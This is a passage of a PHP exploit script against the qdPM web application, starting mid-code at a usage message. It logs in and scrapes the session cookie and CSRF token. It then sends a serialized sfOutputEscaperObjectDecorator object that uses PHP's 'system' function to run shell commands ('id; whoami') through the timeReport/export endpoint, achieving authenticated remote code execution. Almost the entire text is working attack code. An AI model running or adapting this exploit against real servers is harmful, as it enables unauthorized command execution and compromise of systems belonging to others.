\n"; print "\nExample....: php $argv[0] http://localhost/qdpm/ user passwd"; print "\nExample....: php $argv[0] https://test.com/qdpm/ evil hacker\n\n"; die(); } list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); print "[-] Logging in with username '{$user}' and password '{$pass}'\n"; $resp = curl_exec($ch); if (!preg_match("/Cookie: [^;]+/", $resp, $sid)) die("[-] Session ID not found!\n"); if (!preg_match('/_csrf_token\]" value="([^"]+)"/', $resp, $csrf)) die("[-] CSRF token not found!\n"); curl_setopt($ch, CURLOPT_URL, "{$url}index.php/login"); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); curl_setopt($ch, CURLOPT_POSTFIELDS, "login[email]={$user}&login[password]={$pass}&login[_csrf_token]={$csrf[1]}"); if (!preg_match("/Cookie: [^;]+/", curl_exec($ch), $sid)) die("[-] Login failed!\n"); print "[-] Logged-in! Exploiting PHP Object Injection...\n"; class sfOutputEscaperObjectDecorator { protected $escapingMethod = "system"; protected $value = "id; whoami"; } $obj = rawurlencode(str_replace(['s:', chr(0)], ['S:', '\00'], serialize([[new sfOutputEscaperObjectDecorator]]))); curl_setopt($ch, CURLOPT_URL, "{$url}index.php/timeReport/export?export={$obj}"); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); print curl_exec($ch);